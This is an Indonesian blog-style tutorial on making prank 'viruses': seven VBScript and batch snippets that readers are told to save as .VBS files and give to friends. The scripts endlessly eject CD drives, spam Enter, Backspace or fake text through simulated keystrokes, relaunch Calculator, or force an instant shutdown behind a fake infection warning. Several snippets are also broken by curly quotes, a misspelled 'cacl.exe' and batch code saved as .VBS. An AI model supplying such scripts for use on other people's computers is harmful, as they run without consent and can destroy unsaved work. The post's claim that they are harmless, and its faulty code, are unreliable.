Membuat Virus Jail

Tangan gatel mau isengin temen! Colek-colek udah biasa. Ada cara yang lebih mutakhir nee buat isengin temen-temen sobat yaitu "Membuat Virus Jail" . Caranya dengan mengcopykan script-script dibawah ini ke program Notepad. Eitts, tenang aja virus ini tidak membahayakan komputer sobat ko', hanya saja menimbulkan efek sementara pada komputer berdasarkan jenis virus jail yang sobat buat, jadi intinya yaa aman-aman saja ko'. OK! Langsung saja ke TKP...

1. Iseng Meng-Eject CD-Drive Terus Menerus

Set oWMP = CreateObject(”WMPlayer.OCX.7″)

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

Kemudian save dengan “UP TO YOU.VBS” lalu berikan pada teman sobat.

2. Iseng Dengan Tombol Enter Terus Menerus

Set wshShell = wscript.CreateObject(”WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “~(enter)”

loop

Kemudian save dengan “UP TO YOU.VBS” lalu berikan pada teman sobat.

3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!”

WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject(”WScript.Shell”)

WshShell.Run “notepad”

WScript.Sleep 100

WshShell.AppActivate “Notepad”

WScript.Sleep 500

WshShell.SendKeys “Hel”

WScript.Sleep 500

WshShell.SendKeys “lo ”

WScript.Sleep 500

WshShell.SendKeys “, ho”

WScript.Sleep 500

WshShell.SendKeys “w a”

WScript.Sleep 500

WshShell.SendKeys “re ”

WScript.Sleep 500

WshShell.SendKeys “you”

WScript.Sleep 500

WshShell.SendKeys “? ”

WScript.Sleep 500

WshShell.SendKeys “I a”

WScript.Sleep 500

WshShell.SendKeys “m g”

WScript.Sleep 500

WshShell.SendKeys “ood”

WScript.Sleep 500

WshShell.SendKeys ” th”

WScript.Sleep 500

WshShell.SendKeys “ank”

WScript.Sleep 500

WshShell.SendKeys “s! “

Kemudian save dengan “UP TO YOU.VBS” lalu berikan pada teman sobat.

4. Iseng Dengan Backspace

MsgBox “Maaf, Anda Harus Mengulang Kembali”

Set wshShell =wscript.CreateObject(”WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{bs}”

loop

Kemudian save dengan “UP TO YOU.VBS” lalu berikan pada teman sobat.

5. Iseng Dengan Membuka Calculator Terus Menerus

@ECHO off

:top

START %SystemRoot%\system32\cacl.exe

GOTO top

Kemudian save dengan “UP TO YOU.VBS” lalu berikan pada teman sobat.

6. Iseng Dengan Keyboard

Set wshShell = wscript.CreateObject(”WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”

loop

Kemudian save dengan “UP TO YOU.VBS” lalu berikan pada teman sobat.

7. Iseng Dengan Shutdown Computer

@echo off

msg * Komputer Anda Terinfeksi Virus

shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0

Kemudian save dengan “UP TO YOU.VBS” lalu berikan pada teman sobat.

*Pastikan Save As type-nya pilih All

Cara Mematikan Programnya             :

1.      Buka Task Manager (Ctrl+Alt+Del)

2.      Lalu cari wscript

3.      Matikan wscript dengan cara klik End Process

4.      Akhirnya program Notepad yang anda buat-pun MATI!